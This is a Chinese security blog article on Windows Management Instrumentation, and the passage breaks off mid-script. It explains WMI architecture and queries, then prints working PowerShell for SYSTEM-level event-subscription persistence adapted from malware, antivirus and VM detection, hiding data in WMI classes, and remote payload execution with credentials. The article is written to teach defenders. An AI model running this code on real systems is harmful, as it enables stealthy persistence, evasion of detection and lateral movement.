利用WMI构建一个持久化的异步的无文件后门

引用转发请注明 “原文来自:m0nst3r@DigApis安全”字样,谢谢!

[TOC]

简介

随着技术的更新换代,很多技术在Windows系统中被引进和弃用,但是有一种非常强大的技术却保留了下来,自Windows NT 4.0和Windows 95开始就一直延续下来,那就是Windows Management Instrumentation (WMI),即Windows管理工具。现在所有的Windows系统中都有这个工具,利用它包含的工具集,我们可以管理本地或远程的计算机。

它不仅仅被系统管理员熟知,更因为Stuxnet利用WMI来进行攻击的原因而被广大安全人员所知。由于WMI能够提供系统信息收集,防病毒检测,代码执行,横向移动,持久化和盗取数据的能力而很受黑客的欢迎。

随着黑客越来越多的使用WMI技术,了解WMI知识并为已所用,对防御者来说就非常重要。

这个文章主要向读者介绍WMI的主要功能,攻击者如何使用WMI,如何通过WMI绕过IDS以及如何通过WMI Repository做取证。

WMI Architecture(架构)

WMI是Windows对WBEMCID标准的实现。两个标准目的是在企业环境中提供一个行业无关的,用于收集和传输Managed Component(管理组件)信息的方法。
一个WMI的管理组件可以是一个进程,一个注册表的键,一个安装的服务或一个文件信息,等等。这些标准用来沟通确定实现者应该使用什么方法来query(查询),populate(填充),structure(构造),transmit(传输),perform actions on(执行操作)和consume data(处理数据)。

wmi-1.png

Microsoft有实现可以总结为以下几个部分:

Managed Components(管理组件)

管理组件即WMI的对象,是代表着高度结构化的操作系统数据的Class Instances(类实例)。Microsoft提供了非常多的WMI对象来提供有关系统的信息,比如Win32_ProcessWin32_ServiceAntiVirusProductWin32_StartupCommand等。

Consuming Data(数据处理)

Microsoft提供了一些用来处理WMI数据和执行WMI命令的方法。例如,PowerShell提供给了我们一个非常简单的与PowerShell交互的方式。

Querying Data(数据查询)

所有的WMI对象可以通过一个叫WQL的查询语言来查询,这种语言与SQL相似,能够让我们精细地控制返回给用户的WMI对象。

Populating Data(数据填充)

当用户请求一个WMI对象时,WMI服务(Winmgmt)需要知道请求对象的数据填充方式。这个功能是通过WMI Providers(WMI提供者)来完成的。一个WMI提供者就是一个在注册表中拥有相关GUID的注册表键。WMI提供者在数据填充时,做了大量的动作,比如查询所有进程,枚举注册表键等。

当WMI服务填充一个WMI对象时,会有两种类实例:Dynamic Object(动态对象)和Persistent Object(永久化对象)。
动态对象是在进行查询时生成的,例如,Win32_Process就是一个动态对象。
永久化对象是存储在CIM Repository(CIM库)中的,默认放在%SystemRoot%\System32\wbem\Repository\OBJECTS.DATA中。

Structuring Data(构造数据)

WMI对象大部分的结构是通过Managed Object Format (MOF)(管理对象格式)文件中描述的。MOF文件使用类似C++的语法来描述WMI对象。
当WMI提供者生成原始数据时,MOF文件对提供了这些数据的构造结构。从防御者的角度看,值得注意的是,WMI对象的定义可以不通过MOF文件,攻击者可以通过在CIM库中插入.Net代码来定义。

Transmitting Data(数据传输)

Microsoft提供了两种用于远程传输WMI数据的方法:DCOMWindows Remote Management (WinRM)

Performing Actions(执行操作)

一些WMI对象包含一些可执行的方法/函数。例如,Win32_Process类的静态函数Create就经常被黑客用来做内网中的横向移动。
WMI还提供了一个Eventing System(事件系统),用户可以注册在WMI对象生成,修改或删除时执行的事件处理程序。

WMI 类和命名空间

操作系统信息是通过WMI对象的方式表示的。一个WMI对象也就是一个WMI类的实例。大多数常用的WMI类在MSDN中都有详细的描述,如Win32_Process类。然而还有很多WMI类并没有文档可查,但是幸运的是,我们可以通过WQL来查询所有的WMI类。

与传统的面向对象编程语言相似,WMI类被分类分层的放在命名空间中。所有的命名空间都是从ROOT命名空间下的,当不指定命名空间进行查询时,Microsoft会使用ROOT\CIMV2作为默认的命名空间。

所有的WMI设置,包括默认命名空间在下面的注册表键中:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM

下面的PowerShell代码会递归查询所有的WMI类及其命名空间:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function Get-WmiNamespace {
Param ($Namespace='ROOT')

Get-WmiObject -Namespace $Namespace -Class __NAMESPACE | ForEach-Object {
($ns = '{0}\{1}' -f $_.__NAMESPACE, $_.Name)
Get-WmiNamespace -Namespace $ns
}
}

$WmiClasses = Get-WmiNamespace | ForEach-Object {
$Namespace = $_
Get-WmiObject -Namespace $Namespace -List |
ForEach-Object { $_.Path.Path }
} | Sort-Object -Unique

返回的WMI Class 路径如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
...
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__AbsoluteTimerInstruction
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ACE
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__AggregateEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ClassCreationEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ClassDeletionEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ClassModificationEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ClassOperationEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ClassProviderRegistration
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ConsumerFailureEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__Event
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventConsumer
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventConsumerProviderRegistration
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventDroppedEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventFilter
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventGenerator
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventProviderRegistration
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventQueueOverflowEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ExtendedStatus
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ExtrinsicEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__FilterToConsumerBinding
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__IndicationRelated
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__InstanceCreationEvent
...

查询WMI

WMI提供了一种非常直观的语法用来查询WMI对象的实例,类和命名空间,即WQL。WQL查询通常可以分为以下几类:

  1. Instance Queries(实例查询):查询WMI对象实例。
  2. Event Queries(事件查询):等同于在WMI对象创建/修改/删除的时候注册一个消息。
  3. Meta Queries(元查询):元查询用来获取WMI命名空间和类结构的元信息。

Instance Queries

这是最常用的WQL查询。基本的格式如下:

SELECT [Class property name | *] FROM [CLASS NAME] <WHERE [CONSTRAINT]>

例如,下面的查询语句将返回所有可执行文件名中带有chrome的正在运行的进程:

SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%"

Event Queries

事件查询被用作一种消息机制来监听事件类的触发。通常用来在一个WMI对象实例创建/修改/删除的时候给用户发送一个消息。根据消息类型是intrinsic(系统自带的)还是extrinsic(第三方的),查询语句格式不同:

SELECT [Class property name | *] FROM [INTRINSIC CLASS NAME] WITHIN [POLLING INTERVAL] <WHERE [CONSTRAINT]>

SELECT [Class property name | *] FROM [EXTRINSIC CLASS NAME] <WHERE [CONSTRAINT]>

下面的查询将在用户登录的时候被执行:
SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstanceISA 'Win32_LogonSession' AND TargetInstance.LogonType=2

下面的查询将在用户插入可移除设备时被执行:
SELECT * FROM Win32_VolumeChangeEvent Where EventType=2

Meta Queries

元查询用来查询WMI命名空间和类结构的信息。最常见的用法是用来列举WMI命名空间的类结构。元查询是实例查询的一个子集,但是与对象查询不同的是,我们查询的是类的实例的定义。格式如下:

SELECT [Class property name | *] FROM [Meta_Class | SYSTEM CLASS NAME] <WHERE [CONSTRAINT]>

下面这个语句会查询所有以WIN32开头的WMI的类:

SELECT * FROM Meta_Class WHERE __CLASS LIKE "Win32%"

下面这个语句会查询某个命名空间下的所有命名空间:

SELECT Name FROM __NAMESPACE

注意,当不显示的指定命名空间时,默认的命名空间为ROOT\CIMV2

与WMI交互

Microsoft和一些第三方软件开发者为我们提供了许多能够与WMI交互的工具。下面是部分工具的一个不完全的列表:

PowerShell

PowerShell是一个非常强大的脚本语言,其中包含很多能够与WMI进行交互的功能。对于PowerShell v3版本来说,有如下:

  • Get-WmiObject
  • Get-CimAssociatedInstance
  • Get-CimClass
  • Get-CimInstance
  • Get-CimSession
  • Set-WmiInstance
  • Set-CimInstance
  • Invoke-WmiMethod
  • Invoke-CimMethod
  • New-CimInstance
  • New-CimSession
  • New-CimSessionOption
  • Register-CimIndicationEvent
  • Register-WmiEvent
  • Remove-CimInstance
  • Remove-WmiObject
  • Remove-CimSession

WMI命令和CIM命令的功能相似,但是在v3版本的PowerShell中,CIM更加的灵活。使用CIM命令最大的好处就是它们可以在WinRMDCOM协议下工作,而WMI命令只支持DCOM协议。

从攻击者的角度看,专门用来创建/修改/删除WMI/CIM类的命令是不存在的。但是,使用WMI可以很容易的创建WMI类。
这篇文章的例子中将主要使用PowerShell,因为它的灵活性,并且攻击者越来越多的使用它。

wmic.exe

wmic.exe是一款非常强大的用来与WMI交互的命令行工具。它有非常多而且方便的WMI对象的别名可使用,可以用来进行更加复杂的查询。
wmic.exe还能够执行WMI方法,攻击者在做内网横向移动时,用的就是Win32_Process的Create方法。但是有一个限制就是,我们不能执行一个接受内置WMI对象的方法。如果PowerShell不可用,用wmic.exe来做系统信息收集和执行一些基本操作还是可以的,它也是常常被渗透测试员和攻击者使用。

wbemtest.exe

wbemtest.ext是一款强大的图形化工具,是出于诊断工具来设计的。可以用来枚举对象实例,执行查询,注册事件,修改WMI对象和类,本地或远程执行。虽然界面不是非常友好,但是对攻击者来说,在其他工具无法使用时,这个工具还是不错的。
wmi-2.png

WMI Explorer

WMI Explorer是Sapien公司开发的一款商业工具,用来查找WMI类。它拥有非常好的界面,并且可以分层浏览WMI库。它不可以连接远程WMI库并执行查询。
wmi-3.png

CIM Studio

CIM Studio是免费的,来自Microsoft,可以用它方便的浏览WMI库,用来查找WMI类也是不错的。
wmi-4.png

Windows Script Host (WSH) languages

VBScriptJScript,虽然Microsoft提供的这两个脚本语言名声不太好,但是就与WMI交互功能来说,它们还是很强大的。事实上,有一个完整的后门程序就是使用这两种脚本语言开发的,其中使用WMI功能完成了基本的C2 (Command and Control)机制。
另外,稍后我们会详细介绍,Event Consumer(事件处理)接口ActiveScriptEventConsumer,只有这两种脚本语言,而这个接口对攻击者和防御者来说都很有价值。
不管怎样,在那些没有PowerShell环境的老系统中,VBScript和JScript还是霸主地位。

C/C++ via IWbem* COM API

请自行查看COM API for WMI。如果想详细分析包含WMI功能的恶意软件的话,这个接口对逆向工程师来说也很重要。

.NET using System.Management classes

.NET 类库在System.Management命名空间下提供了几个用于与WMI交互的类,使用C#等语言编写起来也很简单。在下面的例子中,这些类会在PowerShell代码中反复使用。

winrm.exe

winrm.exe可以在本地或远程开启WinRM服务的机器上枚举WMI对象实例,调用方法,创建和删除对象实例。winrm.exe也可用来配置WinRM服务。与WMI交互的理想方法是使用CIM命令的PowerShell,但是这个可以作为替代方法。

1
2
3
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe";CurrentDirectory="C:\"}
winrm enumerate http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process
winrm get http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_OperatingSystem

wmic and wmis-pth for Linux

wmic是一个用来执行WMI查询的简单的Linux命令行工具,可远程调用Win32_Process的Create方法。wmis还接收NTML哈希。

远程WMI

WMI的强大体现在通过远程操作的时候。目前,WMI支持两种协议:DCOMWinRM,使用这两种协议可以做任何事情,包括查询对象,注册事件和执行WMI类的方法,等等。

两种协议都对攻击者有利,因为防御者通常不会检查这两种协议的恶意流量。利用WMI所需的东西就是可用的有权限的用户凭证。在Linux平台上的wmis-pth工具中,只需要提供被攻击者的用户哈希即可。

DCOM (Distributed Component Object Model)

从WMI被引入的时候起,DCOM就被当作默认协议。DCOM通过135端口建立TCP连接,后续的数据交换则通过随机选择的TCP端口传输。这个端口可以通过dcomcnfg.exe进行配置和修改,其最终是改动如下注册表项:

HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Internet - Ports (REG_MULTI_SZ)

所有的PowerShell中内置的WMI命令都使用DCOM协议。

1
PS C:\Users\Michael\Desktop> Get-WmiObject -Class Win32_Process -ComputerName WIN-Q4UUJ0BPKL9 -Credential 'WIN-Q4UUJ0BPKL9\Administrator'

WinRM (Windows Remote Management)

近来,WinRM已经超过了DCOM,被Windows当作建议使用的协议。WinRM基于Web Services-Management (WSMan)规范,是一个SOAP-based设备管理协议。另外,PowerShell Remoting也是基于WinRM规范的,这使得我们能够通过PowerShell在大规模Windows企业环境中实现强大的远程管理功能。WinRM同样支持WMI,或者说CIM的网络操作。

默认情况下,WinRM服务开启并监听5985/tcp端口,而且默认是加密的。还可以通过配置证书的方式在5986/tcp端口实现HTTPS支持。

通过GPO,winrm.exe和PowerShell的WSMan虚拟盘符,我们可以很方便的配置WinRM。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS C:\Users\Michael\Desktop> ls WSMan:\localhost

WSManConfig: Microsoft.WSMan.Management\WSMan::localhost

Type Name SourceOfValue Value
---- ---- ------------- -----
System.String MaxEnvelopeSizekb 500
System.String MaxTimeoutms 60000
System.String MaxBatchItems 32000
System.String MaxProviderRequests 4294967295
Container Client
Container Service
Container Shell
Container Listener
Container Plugin
Container ClientCertificate

PowerShell提供了方便的命令去检测WinRM服务是否处于监听状态——Test-WSMan
如果Test-WSMan有返回结果,则说明WinRM服务正常,而且这个命令不需要传入认证信息。

1
2
3
4
5
6
7
PS C:\Users\Michael> Test-WSMan -ComputerName WIN-JF74R0AP7LN


wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor : Microsoft Corporation
ProductVersion : OS: 0.0.0 SP: 0.0 Stack: 3.0

如果要与运行着WinRM服务的系统的WMI进行远程交互,可用命令有两个:winrm.exe和PowerShell的CIM命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

PS C:\Users\Michael> $s = New-CimSession -ComputerName win -Credential 'win\Michael' -Authentication Negotiate
PS C:\Users\Michael> Get-CimInstance -CimSession $s -ClassName Win32_Process

ProcessId Name HandleCount WorkingSetSize VirtualSize PSComputerName
--------- ---- ----------- -------------- ----------- --------------
0 System Idle P... 0 24576 0 win
4 System 545 839680 4771840 win
244 smss.exe 29 1056768 5234688 win
332 csrss.exe 664 4886528 97574912 win
372 wininit.exe 76 4255744 45420544 win
380 csrss.exe 290 15814656 168321024 win
...
3528 SGTool.exe 323 21172224 180084736 win
2808 WmiApSrv.exe 121 6074368 32092160 win

WMI Eventing(WMI事件)

对攻击者和防御者都非常强大的一个功能是,WMI拥有异步响应WMI事件的能力。加上适当的异常处理,WMI事件基本可以用来响应所有的操作系统事件。

WMI事件分两类,包括运行在本地上下文环境当中的单个进程的事件和永久性WMI事件订阅。(There are two classes of WMI events – those that run locally in the context of a single process and permanent WMI event subscriptions.)
本地事件有生命周期为进程宿主的周期,而永久性WMI事件是存储在WMI库中,以SYSTEM权限运行,并且重启后依然存在。

Eventing Requirements(事件要求)

为了能够安装一个永久性的WMI事件订阅,必须满足三个条件:

  1. 一个事件过滤器
  2. 一个事件处理:代表一个事件触发时启动的动作
  3. 一个处理绑定的过滤器:代表将一个过滤器绑定到一个事件处理的注册机制

Event FIlters(事件过滤器)

一个事件过滤器接收一个WMI事件查询参数,并保存到ROOT\subscription:__EventFilter对象的一个实例中。
事件过滤器支持以下类型的查询:

Intrinsic Events

Intrinsic Events在当一个WMI类或对象创建,修改,删除的时候被触发,用来传递信息给启动计时器或要执行的WMI方法,下面的这个Intrinsic Events在所有的WMI命名空间中都有,并以系统类的形式命名(以两个下划线开头):

  • __NamespaceOperationEvent
  • __NamespaceModificationEvent
  • __NamespaceDeletionEvent
  • __NamespaceCreationEvent
  • __ClassOperationEvent
  • __ClassDeletionEvent
  • __ClassModificationEvent
  • __ClassCreationEvent
  • __InstanceOperationEvent
  • __InstanceCreationEvent
  • __MethodIvocationEvent
  • __InstanceModificationEvent
  • __InstanceDeletionEvent
  • __TimerEvent

这些事件都非常强大,因为它们可以用来触发你能想象到的任何的操作系统事件。例如,一个人可以通过下面的命令在用户登陆时触发一个事件:
SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType=2

上面的查询的意思是,在一个登陆类型为2(交互式登陆)的Win32_LogonSession类的实例创建时,触发一个事件。

由于特定Intrinsic Event的调用时间不同,我们必须在查询中指定一个Polling Interval(时间间隔),也就是说,偶尔我们会触发不了这样的事件。比如一个事件查询的目标是一个WMI类实例的创建,如果这个实例在我们指定的时间间隔内生成并销毁了,那么这个事件将不会被查询到。

Extrinsic Events

Extrinsic Events解决了Intrinsic Events的时间间隔的问题,因为当一个事件发生时,一个Extrinsic Event就立即被触发了,但劣势是当前的WMI中的Extrinsic Events并不多,不过现有有这些也很强大了:

  • ROOT\CIMV2:Win32_ComputerShutdownEvent
  • ROOT\CIMV2:Win32_ProcessStartTrace
  • ROOT\CIMV2:Win32_ModuleLoadTrace
  • ROOT\CIMV2:Win32_ThreadStartTrace
  • ROOT\CIMV2:Win32_VolumnChangeEvent
  • ROOT\DEFAULT:Msft_WmiProvider*
  • ROOT\DEFAULT:RegistryKeyChangeEvent
  • ROOT\DEFAULT:RegistryValueChangeEvent

下面的命令可以查询到用户态和内核态下每个进程的所有模块:
SELECT * FROM Win32_ModuleLoadTrace

Event Consumers(事件处理)

一个Event Consumer代表当一个事件触发时进行的操作。可用的标准事件处理类:

  • LogFileEventConsumer: 将事件数据写入到指定的日志文件
  • ActiveScriptEventConsumer: 用来执行VBScript/JScript程序
  • NTEventLogEventConsumer:创建一个包含事件数据的日志入口点
  • SMTPEventConsumer:将事件数据用邮件发送
  • CommandLineEventConsumer:执行一条命令

可以想象到,ActiveScriptEventConsumer和CommandLineEventConsumer类应该是攻击者处理事件时使用最频繁的。这两个事件处理类给攻击都提供了一种无文件式的执行任意代码的灵活性。

所有的事件处理类都在从__EventConsumer类继承而来的。

恶意WMI持久化实例

下面的PowerShell代码来自一个叫SEADADDY的恶意软件的修改版,用来通过WMI做持久化的。其中,事件过滤是从PowerSploit的持久化模块,用于在系统启动时触发,事件处理则以SYSTEM权限执行一个程序。

1
2
3
4
5
6
7
$filterName = 'BotFilter82'
$consumerName = 'BotConsumer23'
$exePath = 'C:\Windows\System32\evil.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=200 AND TargetInstance.SystemUpTime < 320"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

WMI Attach(WMI攻击)

WMI的强大使得它成为攻击者在攻击过程中各个阶段都会使用的一个工具。众多的WMI对象/方法/事件使得它在进行信息收集,AV/VM检测,代码执行,横向移动,信息隐藏存储和持久化中都非常有用。甚至,还可以构造出一个无需任何写文件到硬盘的WMI后门程序。

攻击都使用WMI有如下优势:

  • 在Windows 98以后的所有Windows操作系统中都是默认安装并运行的。
  • 在做代码执行时,比psexec更隐蔽。
  • 永久性WMI事件订阅是在SYSTEM权限下运行的。
  • 防御者一般 都不将WMI视为一个可攻击的点。
  • 几乎所有系统行为都可以触发一个WMI事件。
  • 除了WMI库,恶意代码无需保存到硬盘文件(无文件)。

下面列举一些攻击者使用WMI的方法,但这些方法只是其中的一小部分。

信息收集

恶意软件或渗透人员第一步,往往是信息收集。WMI提供了数量众多的类为攻击者使用,来对当前目标环境有一个了解。

如下是非常常用的信息收集行为以及对应的WMI对象:

  • Host/OS information: Win32_OperatingSystem, Win32_ComputerSystem
  • File/directory listing: CIM_DataFile
  • Disk volume listing: Win32_Volumn
  • Registry operations: StdRegProv
  • Running processes: Win32_Process
  • Service listing: Win32_Service
  • Event log: Win32_LoggedOnUser
  • Mounted shares: Win32_Share
  • Installed patches: Win32_QuickFixEngineering

AV/VM 检测

反病毒软件检测

根据系统的不同,反病毒软件通常会WMI中注册为AntiVirusProduct,保存在root\SecurityCenterroot\SecurityCenter2命名空间中。
WQL语句:
SELECT * FROM AntiVirusProduct

如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
PS C:\Users\qaz> Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct


__GENUS : 2
__CLASS : AntiVirusProduct
__SUPERCLASS :
__DYNASTY : AntiVirusProduct
__RELPATH : AntiVirusProduct.instanceGuid="{8EA8924E-BC81-DC44-8BB0-8BAE75D86EBF}"
__PROPERTY_COUNT : 6
__DERIVATION : {}
__SERVER : DESKTOP-E4EEK0L
__NAMESPACE : ROOT\SecurityCenter2
__PATH : \\DESKTOP-E4EEK0L\ROOT\SecurityCenter2:AntiVirusProduct.instanceGuid="{8EA8924E-BC81-DC44-8B
B0-8BAE75D86EBF}"
displayName : Avast Antivirus
instanceGuid : {8EA8924E-BC81-DC44-8BB0-8BAE75D86EBF}
pathToSignedProductExe : C:\Program Files\AVAST Software\Avast\wsc_proxy.exe
pathToSignedReportingExe : C:\Program Files\AVAST Software\Avast\wsc_proxy.exe
productState : 266240
timestamp : Mon, 05 Mar 2018 07:41:16 GMT
PSComputerName : DESKTOP-E4EEK0L

__GENUS : 2
__CLASS : AntiVirusProduct
__SUPERCLASS :
__DYNASTY : AntiVirusProduct
__RELPATH : AntiVirusProduct.instanceGuid="{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}"
__PROPERTY_COUNT : 6
__DERIVATION : {}
__SERVER : DESKTOP-E4EEK0L
__NAMESPACE : ROOT\SecurityCenter2
__PATH : \\DESKTOP-E4EEK0L\ROOT\SecurityCenter2:AntiVirusProduct.instanceGuid="{D68DDC3A-831F-4fae-9E
44-DA132C1ACF46}"
displayName : Windows Defender
instanceGuid : {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
pathToSignedProductExe : windowsdefender://
pathToSignedReportingExe : %ProgramFiles%\Windows Defender\MsMpeng.exe
productState : 393472
timestamp : Mon, 05 Mar 2018 07:41:36 GMT
PSComputerName : DESKTOP-E4EEK0L

VM/沙盒检测

比如一个物理内存只有2GB或者是一个单核的,就非常像是一个VM。

WQL查询例子:

1
2
SELECT * FROM Win32_ComputerSystem WHERE TotalPhysicalMemory < 2147483648
SELECT * FROM Win32_ComputerSystem WHERE NumberOFLogicalProcessors < 2

命令的例子:

1
2
3
4
5
6
7
$VMDetected = $False
$Arguments = @{
Class = 'Win32_ComputerSystem'
Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648'
}

if (Get-WmiObject @Arguments) {$VMDetected = $True}

虚拟机检测

例如:

1
2
3
4
SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE "%VMware%"
SELECT * FROM Win32_BIOS WHERE SerialNumber LIKE "%VMware%"
SELECT * FROM Win32_Process WHERE Name="vmtoolsd.exe"
SELECT * FROM Win32_NetworkAdapter WHERE Name LIKE "%VMware%"

命名举例:

1
2
3
4
5
6
$VMwareDetected = $False
$VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE "%VMware%" OR Name LIKE "%VMware%"'
$VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber Like "%VMware%"'
$VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"'

if ($VMAdapter -or $VMBios -or $VMToolsRunning) {$VMwareDetected = $True}

代码执行和横向移动

通过WMI进行远程代码执行通常有两种方法:

Win32_Process Create方法

Win32_Process类中有一个静态方法Create,可以本地或远程调用一个进程。这种方法与psexec相似。下面是一个远程执行的例子:攻击者一般会选择通过Win32_Process的Create方法来执行恶意的编码后的PowerShell命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS C:\Users\Michael> Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'notepad.exe' -ComputerName win -C
redential 'win\Michael'


__GENUS : 2
__CLASS : __PARAMETERS
__SUPERCLASS :
__DYNASTY : __PARAMETERS
__RELPATH :
__PROPERTY_COUNT : 2
__DERIVATION : {}
__SERVER :
__NAMESPACE :
__PATH :
ProcessId : 3204
ReturnValue : 0
PSComputerName :

利用Event 处理

另外一种任意代码执行的方法是通过创建一个永久性WMI事件订阅。永久性WMI事件订阅通常被用来保持对特定事件的响应。如果攻击者想要执行一个程序的话,相应的事件处理就会从删除原来的事件过滤器、处理操作以及过滤器与处理操作的绑定。这种方法的优势是恶意程序以SYSTEM权限执行,避开了在文件中直接显示要执行的代码。比如,如果选择用一个VBScript的ActiveScriptEventConsumer恶意代码的话,只会启动WMI脚本宿主进程:
%SystemRoot%\system32\wbem\scrcons.exe -Embedding

对于攻击者,利用这种攻击的难度是要选择一个比较好的事件过滤器。如果想在几秒钟后执行程序,可以选择__IntervalTimerInstruction类。如果想在用户锁屏的时候执行,可以使用Win32_ProcessStartTrace类的Extrinsic Event(当LogonUI.exe进程创建时)。攻击者的利用方式是多种多样的。

持久化

隐秘存储

攻击者会巧妙的利用WMI库来存储数据。通过动态创建一个WMI类并把数据放在该类中的静态属性的方法可以达到这样的效果。比如下面的命令:

1
2
3
4
5
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null, $null)
$StaticClass.Name = 'Win32_EvilClass'
$StaticClass.Put()
$StaticClass.Properties.Add('EvilProperty', "This is not the malware you're looking for")
$StaticClass.Put()

远程创建WMI类也是可以的。另外,这些隐藏起来的数据也可以很容易地通过WMI获得。
至于怎样去使用这些数据,就看攻击者的了。下面的一些实际的代码展示了这种攻击的方法。

利用WMI做C2

通过使用WMI的方法来保存和读取数据,可以构造出一个C2(Command & Control)来。这种方法由Andrei Dumitrescu公布Andrei Dumitrescu公布。除了我们讨论的方法,还有别的,比如利用注册表来存储数据等。下面是一些利用WMI在POC代码。

Push攻击

这个例子展示了如何通过远程创建WMI类来存储数据。这些数据会被远程的powershell.exe执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# Prep file to drop on remote system
$LocalFilePath = 'C:\Users\ht\Documents\evidence_to_plant.png'
$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes)

#Establish remote WMI connection
$Options = New-Object Management.ConnectionOptions
$Options.Username = 'Administrator'
$Options.Password = 'user'
$Options.EnablePrivileges = $True
$Connection = New-Object Management.ManagementScope
$Connection.Path = '\192.168.72.134\root\default'
$Connection.Options = $Options
$Connection.Connect()

# Push file contents
$EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty, $null)
$EvilClass['__CLASS'] = 'Win32_EvilClass'
$EvilClass.Properties.Add('EvilProperty', [Management.CimType]::String, $False)
$EvilClass.Properties['EvilProperty'].Value = $EncodedFileContentsToDrop
$EvilClass.Put()

$Credential = Get-Credential 'WIN-B85AAA7ST4U\Administrator'
$CommonArgs = @{
Credential = $Credential
ComputerName = '192.168.72.134'
}

# The PowerShell payload that will drop to stored file contents
$PayloadText = @'
$EncodedFile = ([WmiClass] 'root\default:Win32_EvilClass').Properties['EvilProperty'].Value
[IO.File]::WriteAllBytes('C:\fighter_jet_specs.png', [Convert]::FromBase64String($EncodedFile))
[Convert]::FromBase64String($EncodedFile))
'@

$EncodedPayload =[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadText))
$PowerShellPayload = "powershell -NoProfile -EncodedCommand $EncodedPayload"

# Drop the file to the target filesystem
Invoke-WmiMethod @CommonArgs -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload

# Confirm successful file drop
Get-WmiObject @CommonArgs -Class CIM_DataFile -Filter 'Name =
"C:\\fighter_jet_specs.png"'
Pull攻击

下面的例子展示了如何通过注册表来等到PowerShell命令执行的结果。另外,许多恶意程序在获取PowerShell命令结果时都仅仅将结果以明文方式获取,这个例子使用了PowerShell对象的序列化和反序列化来获取富文本信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$Credential = Get-Credential 'WIN-B85AAA7ST4U\Administrator'
$CommonArgs = @{
Credential = $Credential
ComputerName = '192.168.72.131'
}

# Create a remote registry key and value
$HKLM = 2147483650
Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name CreateKey -ArgumentList $HKLM, 'SOFTWARE\EvilKey'
Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name DeleteValue -ArgumentList $HKLM, 'SOFTWARE\EvilKey', 'Result'

# PowerShell payload that saves the serialized output of `Get-Process lsass` to the registry
$PayloadText = @'
$Payload = {Get-Process lsass}
$Result = & $Payload
$Output = [Management.Automation.PSSerializer]::Serialize($Result, 5)
